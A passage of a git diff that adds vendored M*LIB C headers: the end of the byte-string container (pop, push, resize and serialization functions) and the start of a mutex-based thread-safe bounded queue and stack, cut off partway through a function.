+    M_BSTRING_CONTRACT (v1);
+    const size_t s1 = m_bstring_size(v1);
+    if (s1 != s2)
+        return false;
+    return memcmp(m_bstr1ng_cstr(v1), buffer, s1) == 0;
+}
+
+M_INLINE uint8_t
+m_bstring_pop_back(m_bstring_t v)
+{
+    M_BSTRING_CONTRACT (v);
+    M_ASSERT_INDEX(0, v->size);
+    uint8_t c = m_bstr1ng_cstr(v)[v->size-1];
+    v->size --;
+    M_BSTRING_CONTRACT (v);
+    return c;
+}
+
+M_INLINE void
+m_bstring_pop_back_bytes(size_t n, void *buffer, m_bstring_t v)
+{
+    M_BSTRING_CONTRACT (v);
+    M_ASSERT_INDEX(n-1, v->size);
+    memcpy(buffer, &m_bstr1ng_cstr(v)[v->size-n], n);
+    v->size -= n;
+    M_BSTRING_CONTRACT (v);
+}
+
+M_INLINE uint8_t
+m_bstring_pop_front(m_bstring_t v)
+{
+    M_BSTRING_CONTRACT (v);
+    M_ASSERT_INDEX(0, v->size);
+    uint8_t c = m_bstr1ng_cstr(v)[0];
+    v->size --;
+    v->offset++;
+    M_BSTRING_CONTRACT (v);
+    return c;
+}
+
+M_INLINE void
+m_bstring_pop_front_bytes(size_t n, void *buffer, m_bstring_t v)
+{
+    M_BSTRING_CONTRACT (v);
+    M_ASSERT_INDEX(n-1, v->size);
+    memcpy(buffer, &m_bstr1ng_cstr(v)[0], n);
+    v->size -= n;
+    v->offset += n;
+    M_BSTRING_CONTRACT (v);
+}
+
+M_P(void, m_bstring, _push_bytes_at, m_bstring_t v, size_t pos, size_t n, const void *buffer)
+{
+    M_BSTRING_CONTRACT (v);
+    const size_t size = v->size;
+    M_ASSERT_INDEX (pos, size+1); //pos == size ==> equivalent to _push_back_bytes
+    M_ASSERT_INDEX (size, size + n);
+    // If size+n overflows, it means we are giving two objects which sizes
+    // sum to be greater than the available memory. The memory should have exhausted before that.
+    // The case is not possible.
+    uint8_t *ptr = m_bstr1ng_fit2size M_R(v, size+n, false);
+    memmove(&ptr[pos+n], &ptr[pos], size-pos);
+    memcpy(&ptr[pos], buffer, n);
+    v->size = size + n;
+    M_BSTRING_CONTRACT (v);
+}
+
+M_INLINE void
+m_bstring_pop_bytes_at(size_t n, void *buffer, m_bstring_t v, size_t pos)
+{
+    M_BSTRING_CONTRACT (v);
+    const size_t size = v->size;
+    M_ASSERT_INDEX (pos, size);
+    M_ASSERT_INDEX(n-1, size-pos);
+    uint8_t *ptr = m_bstr1ng_cstr(v);
+    memcpy(buffer, &ptr[pos], n);
+    memmove(&ptr[pos], &ptr[pos+n], size-pos-n);
+    v->size -= n;
+    M_BSTRING_CONTRACT (v);
+}
+
+M_P(void, m_bstring, _resize, m_bstring_t v, size_t n)
+{
+    M_BSTRING_CONTRACT (v);
+    const size_t size = v->size;
+    if (n > size) {
+        uint8_t *ptr = m_bstr1ng_fit2size M_R(v, n, true);
+        memset(&ptr[size], 0, n-size);
+    }
+    v->size = n;
+    M_BSTRING_CONTRACT (v);
+}
+
+M_P(void, m_bstring, _reserve, m_bstring_t v, size_t n)
+{
+    M_BSTRING_CONTRACT (v);
+    const size_t size = v->size;
+    if ( (n != 0 || v->size != 0) && n < v->offset + size) {
+        n = v->offset + size;
+    }
+    if (n == 0) {
+        M_MEMORY_FREE(m_context, uint8_t, v->ptr, v->alloc);
+        v->offset = 0;
+        v->size = 0;
+        v->alloc = 0;
+        v->ptr = NULL;
+    } else {
+        uint8_t *ptr = M_MEMORY_REALLOC (m_context, uint8_t, v->ptr, v->alloc, n);
+        if (M_UNLIKELY_NOMEM (ptr == NULL)) {
+            M_MEMORY_FULL(uint8_t, n);
+        }
+        v->ptr = ptr;
+        v->alloc = n;
+    }
+    M_BSTRING_CONTRACT (v);
+}
+
+M_INLINE const uint8_t *
+m_bstring_view(const m_bstring_t v, size_t offset, size_t size_requested)
+{
+    M_BSTRING_CONTRACT (v);
+    M_ASSERT_INDEX (offset+size_requested, v->size+1);
+    (void) size_requested;
+    return &m_bstr1ng_cstr(v)[offset];
+}
+
+// Acquire / release direct write access: once acquired, user can directly wite at the returned pointer for the requested size
+// All other operations on the bstring are forbidden during direct access.
+// This allows passing the bstring buffer to be formatted by different API
+M_INLINE uint8_t *
+m_bstring_acquire_access(m_bstring_t v, size_t offset, size_t size_requested)
+{
+    M_BSTRING_CONTRACT (v);
+    M_ASSERT_INDEX (offset+size_requested, v->size+1);
+    (void) size_requested;
+    // Break canonical representation (this will generate assertion if a normal API is called now)
+    M_SWAP(size_t, v->size, v->alloc);
+    return &m_bstr1ng_cstr(v)[offset];
+}
+
+M_INLINE void
+m_bstring_release_access(m_bstring_t v)
+{
+    M_ASSERT( v->size  >= v->alloc + v->offset );
+    // Restore canonical representation
+    M_SWAP(size_t, v->size, v->alloc);
+    M_BSTRING_CONTRACT (v);
+}
+
+// No Iterator planned for this container (No added value)
+
+#if M_USE_STDIO
+
+M_INLINE size_t
+m_bstring_fwrite(FILE *f, const m_bstring_t v)
+{
+  M_BSTRING_CONTRACT (v);
+  M_ASSERT (f != NULL);
+  if (M_UNLIKELY(m_bstring_size(v) == 0)) {
+    return 0;
+  }
+  M_ASSERT(m_bstr1ng_cstr(v) != NULL);
+  return fwrite(m_bstr1ng_cstr(v), 1, m_bstring_size(v), f);
+}
+
+M_P(bool, m_bstring, _fread, m_bstring_t v, FILE *f, size_t num)
+{
+  M_BSTRING_CONTRACT (v);
+  M_ASSERT (f != NULL);
+  m_bstring_reset(v);
+  //TODO: option to read all the file num=-1?
+  if (M_UNLIKELY(num == 0)) {
+    return true;
+  }
+  uint8_t *ptr = m_bstr1ng_fit2size M_R(v, num, true);
+  size_t n = fread(ptr, 1, num, f);
+  M_ASSERT (n <= num);
+  v->size = n;
+  return n == num;
+}
+
+#endif // Have stdio
+
+// No formatted string input/output. Only serializer
+
+/* Transform the Byte String 'v2'
+   and output it in the given serializer
+   See serialization for return code.
+*/
+M_P(m_serial_return_code_t, m_bstring, _out_serial, m_serial_write_t serial, const m_bstring_t v)
+{
+  M_ASSERT (serial != NULL && serial->m_interface != NULL);
+  M_BSTRING_CONTRACT (v);
+  m_serial_local_t local;
+  m_serial_return_code_t ret;
+  size_t size = m_bstring_size(v);
+  uint8_t *ptr = m_bstr1ng_cstr(v);
+  ret = serial->m_interface->write_array_start M_R(local, serial, size);
+  if (size > 0) {
+    ret |= serial->m_interface->write_integer M_R(serial, ptr[0], 1);
+    for(size_t i = 1; i < size; i++) {
+        ret |= serial->m_interface->write_array_next M_R(local, serial);
+        ret |= serial->m_interface->write_integer M_R(serial, ptr[i], 1);
+    }
+  }
+  ret |= serial->m_interface->write_array_end M_R(local, serial);
+  return ret;
+}
+
+/* Read from the serializer
+   and set the converted value in the byte string 'v'.
+   See serialization for return code.
+*/
+M_P(m_serial_return_code_t, m_bstring, _in_serial, m_bstring_t v, m_serial_read_t f)
+{
+  M_ASSERT (f != NULL && f->m_interface != NULL);
+  M_BSTRING_CONTRACT (v);
+  m_serial_return_code_t ret;
+  m_serial_local_t local;
+  size_t estimated_size = 0, real_size = 0;
+  m_bstring_reset(v);
+  ret = f->m_interface->read_array_start(local, f, &estimated_size);
+  if (M_UNLIKELY (ret != M_SERIAL_OK_CONTINUE)) {
+    return ret;
+  }
+  uint8_t *ptr = m_bstr1ng_fit2size M_R(v, estimated_size, true);
+  do {
+    long long val;
+    ret = f->m_interface->read_integer(f, &val, 1);
+    if (ret != M_SERIAL_OK_DONE) { break; }
+    ptr[real_size++] = (uint8_t) val;
+    ret = f->m_interface->read_array_next(local, f);
+  } while (ret == M_SERIAL_OK_CONTINUE);
+  v->size = real_size;
+  M_BSTRING_CONTRACT (v);
+  return ret;
+}
+
+/* Define the OPLIST of a BYTE STRING */
+#ifndef M_USE_CONTEXT
+#define M_BSTRING_OPLIST                                                      \
+  (INIT(m_bstring_init),INIT_SET(m_bstring_init_set), SET(m_bstring_set),     \
+   INIT_MOVE(m_bstring_init_move), MOVE(m_bstring_move),                      \
+   SWAP(m_bstring_swap), RESET(m_bstring_reset), EMPTY_P(m_bstring_empty_p),  \
+   SUBTYPE(uint8_t), PUSH(m_bstring_push),                                    \
+   CLEAR(m_bstring_clear), HASH(m_bstring_hash), EQUAL(m_bstring_equal_p),    \
+   CMP(m_bstring_cmp), TYPE(m_bstring_t), GENTYPE(struct m_bstring_s*),       \
+   OUT_SERIAL(m_bstring_out_serial), IN_SERIAL(m_bstring_in_serial),          \
+   )
+#else
+#define M_BSTRING_OPLIST                                                      \
+  (INIT(m_bstring_init),INIT_SET(API_0P(m_bstring_init_set)), SET(API_0P(m_bstring_set)), \
+   INIT_MOVE(m_bstring_init_move), MOVE(API_0P(m_bstring_move)),              \
+   SWAP(m_bstring_swap), RESET(m_bstring_reset), EMPTY_P(m_bstring_empty_p),  \
+   SUBTYPE(uint8_t), PUSH(API_0P(m_bstring_push)),                            \
+   CLEAR(API_0P(m_bstring_clear)), HASH(m_bstring_hash), EQUAL(m_bstring_equal_p), \
+   CMP(m_bstring_cmp), TYPE(m_bstring_t), GENTYPE(struct m_bstring_s*),       \
+   OUT_SERIAL(API_0P(m_bstring_out_serial)), IN_SERIAL(API_0P(m_bstring_in_serial=) \
+   )
+#endif
+
+/* Register the OPLIST as a global one */
+#define M_OPL_m_bstring_t() M_BSTRING_OPLIST
+
+
+/********************************************************************************/
+/*                                                                              */
+/* Define the small name (i.e. without the prefix) of the API provided by this  */
+/* header if it is needed                                                       */
+/*                                                                              */
+/********************************************************************************/
+#if M_USE_SMALL_NAME
+
+#define bstring_t m_bstring_t
+#define bstring_size m_bstring_size
+#define bstring_capacity m_bstring_capacity
+#define bstring_init m_bstring_init
+#define bstring_clear m_bstring_clear
+#define bstring_reset m_bstring_reset
+#define bstring_get_byte m_bstring_get_byte
+#define bstring_set_byte m_bstring_set_byte
+#define bstring_empty_p m_bstring_empty_p
+#define bstring_push_back m_bstring_push_back
+#define bstring_push_back_bytes m_bstring_push_back_bytes
+#define bstring_init_set m_bstring_init_set
+#define bstring_set m_bstring_set
+#define bstring_init_move m_bstring_init_move
+#define bstring_move m_bstring_move
+#define bstring_cmp m_bstring_cmp
+#define bstring_cmp_bytes m_bstring_cmp_bytes
+#define bstring_equal_p m_bstring_equal_p
+#define bstring_equal_bytes_p m_bstring_equal_bytes_p
+#define bstring_pop_back m_bstring_pop_back
+#define bstring_pop_back_bytes m_bstring_pop_back_bytes
+#define bstring_pop_front m_bstring_pop_front
+#define bstring_pop_front_bytes m_bstring_pop_front_bytes
+#define bstring_push_bytes_at m_bstring_push_bytes_at
+#define bstring_pop_bytes_at m_bstring_pop_bytes_at
+#define bstring_resize m_bstring_resize
+#define bstring_reserve m_bstring_reserve
+#define bstring_view m_bstring_view
+#define bstring_acquire_access m_bstring_acquire_access
+#define bstring_release_access m_bstring_release_access
+#define bstring_hash m_bstring_hash
+#define bstring_fread m_bstring_fread
+#define bstring_fwrite m_bstring_fwrite
+#define bstring_out_serial m_bstring_out_serial
+#define bstring_in_serial m_bstring_in_serial
+#define bstring_swap m_bstring_swap
+#define bstring_splice m_bstring_splice
+#define BSTRING_OPLIST M_BSTRING_OPLIST
+#define M_OPL_bstring_t() M_BSTRING_OPLIST
+
+#endif
+
+M_END_PROTECTED_CODE
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-buffer.h b/lib/subghz_unleashed_compat/include/mlib/m-buffer.h
new file mode 100644
index 000000000..1abd20f3d
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-buffer.h
@@ -0,0 +1,1337 @@
+/*
+ * M*LIB - Fixed size (Bounded) QUEUE & STACK interface (Thread safe)
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_BUFFER_H
+#define MSTARLIB_BUFFER_H
+
+#include "m-core.h"
+#include "m-thread.h"
+#include "m-atomic.h"
+
+/* Define the different kind of policy a lock-based buffer can have:
+ * - the buffer can be either a queue (policy is FIFO) or a stack (policy is FILO),
+ * - if the buffer has to overwrite the last element if the buffer is full,
+ * - if the pop of an element is not complete until the call to pop_release (preventing push until this call).
+ */
+typedef enum {
+  M_BUFFER_QUEUE = 0,    M_BUFFER_STACK = 1,
+  M_BUFFER_PUSH_OVERWRITE = 32,
+  M_BUFFER_DEFERRED_POP = 64
+} m_buffer_policy_e;
+
+
+/* Define a lock based queue/stack buffer.
+   If size is 0, then the size will only be defined at run-time when initializing the buffer,
+   otherwise the size will be a compile time constant.
+   USAGE: BUFFER_DEF(name, type, size_of_buffer_or_0, policy[, oplist]) */
+#define M_BUFFER_DEF(name, type, m_size, ... )                                \
+  M_BUFFER_DEF_AS(name, M_F(name, _t), type, m_size, __VA_ARGS__)
+
+
+/* Define a lock based buffer
+   as the provided type name_t.
+   USAGE: BUFFER_DEF_AS(name, name_t, type, size_of_buffer_or_0, policy[, oplist of type]) */
+#define M_BUFFER_DEF_AS(name, name_t, type, m_size, ... )                     \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_BUFF3R_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                 \
+              ((name, type, m_size,__VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(type)(), name_t ), \
+               (name, type, m_size,__VA_ARGS__,                                 name_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define the oplist of a lock based buffer given its name and its oplist.
+   USAGE: BUFFER_OPLIST(name[, oplist of the type]) */
+#define M_BUFFER_OPLIST(...)                                                  \
+  M_BUFF3R_OPLIST_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                              \
+                 ((__VA_ARGS__, M_BASIC_OPLIST),                              \
+                  (__VA_ARGS__ )))
+
+
+/* Define a nearly lock-free queue for Many Producers Many Consumers.
+   Much faster than queue of BUFFER_DEF in heavy communication scenario
+   but without any blocking features (this is let to the user).
+   Size of created queue shall be a power of 2 and is defined at run-time.
+   USAGE: QUEUE_MPMC_DEF(name, type, policy, [oplist of type])
+*/
+#define M_QUEUE_MPMC_DEF(name, type, ...)                                     \
+  M_QUEUE_MPMC_DEF_AS(name, M_F(name,_t), type, __VA_ARGS__)
+
+
+/* Define a nearly lock-free queue for Many Producers Many Consumers
+   as the provided type name_t.
+   Much faster than queue of BUFFER_DEF in heavy communication scenario
+   but without any blocking features (this is let to the user).
+   Size of created queue shall be a power of 2 and is defined at run-time.
+   USAGE: QUEUE_MPMC_DEF_AS(name, name_t, type, policy, [oplist of type])
+*/
+#define M_QUEUE_MPMC_DEF_AS(name, name_t, type, ...)                          \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_QU3UE_MPMC_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                             \
+                  ((name, type, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(type)(), name_t ), \
+                   (name, type, __VA_ARGS__,                                 name_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a wait-free queue for Single Producer Single Consumer
+   Much faster than queue of BUFFER_DEF or QUEUE_MPMC in heavy communication scenario
+   but without any blocking features (this is let to the user).
+   Size of created queue shall be a power of 2 and is defined at run-time.
+   USAGE: QUEUE_SPSC_DEF(name, type, policy, [oplist of type])
+*/
+#define M_QUEUE_SPSC_DEF(name, type, ...)                                     \
+  M_QUEUE_SPSC_DEF_AS(name, M_F(name, _t), type, __VA_ARGS__)
+
+
+/* Define a wait-free queue for Single Producer Single Consumer
+   as the provided type name_t.
+   Much faster than queue of BUFFER_DEF in heavy communication scenario
+   but without any blocking features (this is let to the user).
+   Size of created queue shall be a power of 2 and is defined at run-time.
+   USAGE: QUEUE_SPSC_DEF_AS(name, name_t, type, policy, [oplist of type])
+*/
+#define M_QUEUE_SPSC_DEF_AS(name, name_t, type, ...)                          \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_QU3UE_SPSC_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                             \
+                  ((name, type, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(type)(), name_t ), \
+                   (name, type, __VA_ARGS__,                                 name_t ))) \
+  M_END_PROTECTED_CODE
+
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+/* Test if the given policy is true or not.
+   WARNING: The policy shall be a non zero value (i.e. not a default). */
+#define M_BUFF3R_POLICY_P(policy, val)                                        \
+  (((policy) & (val)) != 0)
+
+/* Test if the size is only run-time or build time */
+#define M_BUFF3R_IF_CTE_SIZE(m_size)  M_IF(M_BOOL(m_size))
+
+/* Return the size (run time or build time).
+   NOTE: It assumed that the buffer variable name is 'v' */
+#define M_BUFF3R_SIZE(m_size)                                                 \
+  M_BUFF3R_IF_CTE_SIZE(m_size) (m_size, v->capacity)
+
+/* Contract of a buffer.
+   Nothing particular since we cannot test much without locking it.
+*/
+#define M_BUFF3R_CONTRACT(buffer, size)        do {                           \
+    M_ASSERT (buffer != NULL);                                                \
+    M_ASSERT (buffer->data != NULL);                                          \
+  }while (0)
+
+/* Contract of a buffer within a protected section */
+#define M_BUFF3R_PROTECTED_CONTRACT(policy, buffer, size) do {                \
+    M_ASSERT (atomic_load_explicit(&buffer->number[0], memory_order_acquire) <= M_BUFF3R_SIZE(size)); \
+  } while (0)
+
+
+/* Deferred evaluation for the definition,
+   so that all arguments are evaluated before further expansion */
+#define M_BUFF3R_DEF_P1(arg) M_ID( M_BUFF3R_DEF_P2 arg )
+
+/* Validate the value oplist before going further */
+#define M_BUFF3R_DEF_P2(name, type, m_size, policy, oplist, buffer_t)         \
+  M_IF_OPLIST(oplist)(M_BUFF3R_DEF_P3, M_BUFF3R_DEF_FAILURE)(name, type, m_size, policy, oplist, buffer_t)
+
+/* Stop processing with a compilation failure */
+#define M_BUFF3R_DEF_FAILURE(name, type, m_size, policy, oplist, buffer_t)    \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(M_BUFFER_DEF): the given argument is not a valid oplist: " M_AS_STR(oplist))
+
+/* Define the buffer type using mutex lock and its functions.
+  - name: main prefix of the container
+  - type: type of an element of the buffer
+  - m_size: constant to 0 if variable runtime size, or else the fixed size of the buffer
+  - policy: the policy of the buffer
+  - oplist: the oplist of the type of an element of the buffer
+  - buffer_t: name of the buffer
+  */
+#define M_BUFF3R_DEF_P3(name, type, m_size, policy, oplist, buffer_t)         \
+  M_BUFF3R_DEF_TYPE(name, type, m_size, policy, oplist, buffer_t)             \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_BUFF3R_DEF_CORE(name, type, m_size, policy, oplist, buffer_t)             \
+  M_EMPLACE_QUEUE_DEF(name, buffer_t, _emplace, oplist, M_BUFF3R_EMPLACE_QUEUE_GENE)
+
+/* Define the type of a buffer */
+#define M_BUFF3R_DEF_TYPE(name, type, m_size, policy, oplist, buffer_t)       \
+                                                                              \
+  /* Put each data in a separate cache line to avoid false sharing            \
+     by multiple writing threads. No need to align if there is no thread */   \
+  typedef union M_F(name, _el_s) {                                            \
+    type x;                                                                   \
+    char align[M_ALIGN_FOR_CACHELINE_EXCLUSION];                              \
+  } M_F(name, _el_ct);                                                        \
+                                                                              \
+  typedef struct M_F(name, _s) {                                              \
+    /* Data for a producer */                                                 \
+    m_mutex_t mutexPush;    /* MUTEX used for pushing elements */             \
+    size_t    idx_prod;     /* Index of the production threads  */            \
+    size_t    overwrite;    /* Number of overwritten values */                \
+    m_cond_t there_is_data; /* condition raised when there is data */         \
+    /* Read only Data */                                                      \
+    M_BUFF3R_IF_CTE_SIZE(m_size)( ,size_t capacity;) /* Capacity of the buffer */ \
+    /* Data for a consumer */                                                 \
+    m_cond_t there_is_room_for_data; /* Cond. raised when there is room */    \
+    m_mutex_t mutexPop;     /* MUTEX used for popping elements */             \
+    size_t    idx_cons;     /* Index of the consumption threads */            \
+    /* number[0] := Number of elements in the buffer */                       \
+    /* number[1] := [OPTION] Number of elements being deferred in the buffer */ \
+    atomic_uint number[1 + M_BUFF3R_POLICY_P(policy, M_BUFFER_DEFERRED_POP)]; \
+    /* If fixed size, array of elements, otherwise pointer to element */      \
+    M_F(name, _el_ct)  M_BUFF3R_IF_CTE_SIZE(m_size)(data[m_size], *data);     \
+  } buffer_t[1];                                                              \
+                                                                              \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+  /* Internal type used to un-const the buffer */                             \
+  typedef union { M_F(name, _srcptr) cptr; M_F(name, _ptr) ptr; } M_F(name, _uptr_ct); \
+  /* Internal types used by the oplist */                                     \
+  typedef type M_F(name, _subtype_ct);                                        \
+  typedef buffer_t M_F(name, _ct);                                            \
+
+/* Loop for all active and initialized objects in the queue */
+#define M_BUFF3R_FOR_ALL_OBJ(i, v, m_size, policy)                            \
+  for(size_t i = M_BUFF3R_POLICY_P((policy), M_BUFFER_STACK) ? 0 : v->idx_cons; \
+  i != v->idx_prod;                                                           \
+  i = (!M_BUFF3R_POLICY_P((policy), M_BUFFER_STACK) && i + 1 >= M_BUFF3R_SIZE(m_size)) ? 0 : i + 1)
+
+/* Define the core functionalities of a buffer */
+#define M_BUFF3R_DEF_CORE(name, type, m_size, policy, oplist, buffer_t)       \
+                                                                              \
+M_N(void, name, _init, buffer_t v, size_t size)                               \
+{                                                                             \
+  M_ASSERT(size <= UINT_MAX);                                                 \
+  M_GLOBAL_CONTEXT();                                                         \
+  M_BUFF3R_IF_CTE_SIZE(m_size)(M_ASSERT(size == m_size), v->capacity = size); \
+  v->idx_prod = v->idx_cons = v->overwrite = 0;                               \
+  atomic_init (&v->number[0], 0U);                                            \
+  if (M_BUFF3R_POLICY_P(policy, M_BUFFER_DEFERRED_POP))                       \
+    atomic_init (&v->number[1], 0U);                                          \
+  m_mutex_init(v->mutexPush);                                                 \
+  m_mutex_init(v->mutexPop);                                                  \
+  m_cond_init(v->there_is_data);                                              \
+  m_cond_init(v->there_is_room_for_data);                                     \
+                                                                              \
+  M_BUFF3R_IF_CTE_SIZE(m_size)( /* Statically allocated */ ,                  \
+    v->data = M_CALL_REALLOC(oplist, M_F(name, _el_ct), NULL, 0, M_BUFF3R_SIZE(m_size)); \
+    if (M_UNLIKELY_NOMEM (v->data == NULL)) {                                 \
+      M_MEMORY_FULL (M_F(name, _el_ct), M_BUFF3R_SIZE(m_size));               \
+    }                                                                         \
+  )                                                                           \
+  M_BUFF3R_CONTRACT(v,m_size);                                                \
+}                                                                             \
+                                                                              \
+ M_BUFF3R_IF_CTE_SIZE(m_size)(                                                \
+ M_N(void, name,_i_init, buffer_t v)                                          \
+ {                                                                            \
+   M_F(name, _init)(v, m_size);                                               \
+ }                                                                            \
+ , )                                                                          \
+                                                                              \
+ M_N(void, name, _i_clear_obj, buffer_t v)                                    \
+ {                                                                            \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   M_GLOBAL_CONTEXT();                                                        \
+   M_BUFF3R_FOR_ALL_OBJ(i, v, m_size, policy) {                               \
+    M_CALL_CLEAR(oplist, v->data[i].x);                                       \
+   }                                                                          \
+   v->idx_prod = v->idx_cons = 0;                                             \
+   atomic_store_explicit (&v->number[0], 0U, memory_order_relaxed);           \
+   if (M_BUFF3R_POLICY_P(policy, M_BUFFER_DEFERRED_POP))                      \
+      atomic_store_explicit (&v->number[1], 0U, memory_order_relaxed);        \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+ }                                                                            \
+                                                                              \
+ M_N(void, name, _clear, buffer_t v)                                          \
+ {                                                                            \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   M_GLOBAL_CONTEXT();                                                        \
+   M_F(name,_i_clear_obj)(v);                                                 \
+   M_BUFF3R_IF_CTE_SIZE(m_size)( ,                                            \
+     M_CALL_FREE(oplist, M_F(name, _el_ct), v->data, M_BUFF3R_SIZE(m_size));  \
+     v->data = NULL;                                                          \
+   )                                                                          \
+   v->overwrite = 0;                                                          \
+   m_mutex_clear(v->mutexPush);                                               \
+   m_mutex_clear(v->mutexPop);                                                \
+   m_cond_clear(v->there_is_data);                                            \
+   m_cond_clear(v->there_is_room_for_data);                                   \
+ }                                                                            \
+                                                                              \
+ M_N(void, name, _reset, buffer_t v)                                          \
+ {                                                                            \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   M_GLOBAL_CONTEXT();                                                        \
+   m_mutex_lock(v->mutexPush);                                                \
+   m_mutex_lock(v->mutexPop);                                                 \
+   M_BUFF3R_PROTECTED_CONTRACT(policy, v, m_size);                            \
+   M_F(name,_i_clear_obj)(v);                                                 \
+   v->idx_prod = v->idx_cons = 0;                                             \
+   atomic_store_explicit (&v->number[0], 0U, memory_order_relaxed);           \
+   if (M_BUFF3R_POLICY_P(policy, M_BUFFER_DEFERRED_POP))                      \
+     atomic_store_explicit(&v->number[1], 0U, memory_order_relaxed);          \
+   m_cond_broadcast(v->there_is_room_for_data);                               \
+   m_mutex_unlock(v->mutexPop);                                               \
+   m_mutex_unlock(v->mutexPush);                                              \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+ }                                                                            \
+                                                                              \
+ M_N(void, name, _init_set, buffer_t dest, const buffer_t src)                \
+ {                                                                            \
+  M_GLOBAL_CONTEXT();                                                         \
+  /* un-const 'src', so that we can lock it (semantically it is const) */     \
+   M_F(name, _uptr_ct) vu;                                                    \
+   vu.cptr = src;                                                             \
+   M_F(name, _ptr) v = vu.ptr;                                                \
+   M_ASSERT (dest != v);                                                      \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   M_F(name, _init)(dest, M_BUFF3R_SIZE(m_size));                             \
+   m_mutex_lock(v->mutexPush);                                                \
+   m_mutex_lock(v->mutexPop);                                                 \
+                                                                              \
+   M_BUFF3R_PROTECTED_CONTRACT(policy, v, m_size);                            \
+   M_BUFF3R_FOR_ALL_OBJ(i, v, m_size, policy) {                               \
+    M_CALL_INIT_SET(oplist, dest->data[i].x, v->data[i].x);                   \
+   }                                                                          \
+                                                                              \
+   dest->idx_prod = v->idx_prod;                                              \
+   dest->idx_cons = v->idx_cons;                                              \
+   atomic_store_explicit (&dest->number[0], atomic_load_explicit(&v->number[0], memory_order_relaxed), memory_order_relaxed); \
+   if (M_BUFF3R_POLICY_P(policy, M_BUFFER_DEFERRED_POP))                      \
+     atomic_store_explicit(&dest->number[1], atomic_load_explicit(&v->number[1], memory_order_relaxed), memory_order_relaxed); \
+                                                                              \
+   m_mutex_unlock(v->mutexPop);                                               \
+   m_mutex_unlock(v->mutexPush);                                              \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   M_BUFF3R_CONTRACT(dest, m_size);                                           \
+ }                                                                            \
+                                                                              \
+ M_N(void, name, _set, buffer_t dest, const buffer_t src)                     \
+ {                                                                            \
+  M_GLOBAL_CONTEXT();                                                         \
+  /* un-const 'src', so that we can lock it (semantically it is const) */     \
+   M_F(name, _uptr_ct) vu;                                                    \
+   vu.cptr = src;                                                             \
+   M_F(name, _ptr) v = vu.ptr;                                                \
+   M_BUFF3R_CONTRACT(dest,m_size);                                            \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+                                                                              \
+   if (dest == v) return;                                                     \
+   /* Case of deadlock: A := B, B:=C, C:=A (all in //)                        \
+     Solution: order the lock by increasing memory */                         \
+   if (dest < v) {                                                            \
+     m_mutex_lock(dest->mutexPush);                                           \
+     m_mutex_lock(dest->mutexPop);                                            \
+     m_mutex_lock(v->mutexPush);                                              \
+     m_mutex_lock(v->mutexPop);                                               \
+   } else {                                                                   \
+     m_mutex_lock(v->mutexPush);                                              \
+     m_mutex_lock(v->mutexPop);                                               \
+     m_mutex_lock(dest->mutexPush);                                           \
+     m_mutex_lock(dest->mutexPop);                                            \
+   }                                                                          \
+                                                                              \
+   M_BUFF3R_PROTECTED_CONTRACT(policy, v, m_size);                            \
+   M_F(name,_i_clear_obj)(dest);                                              \
+   M_BUFF3R_FOR_ALL_OBJ(i, v, m_size, policy) {                               \
+    M_CALL_INIT_SET(oplist, dest->data[i].x, v->data[i].x);                   \
+   }                                                                          \
+                                                                              \
+   dest->idx_prod = v->idx_prod;                                              \
+   dest->idx_cons = v->idx_cons;                                              \
+   atomic_store_explicit(&dest->number[0], atomic_load_explicit(&v->number[0], memory_order_relaxed), memory_order_relaxed); \
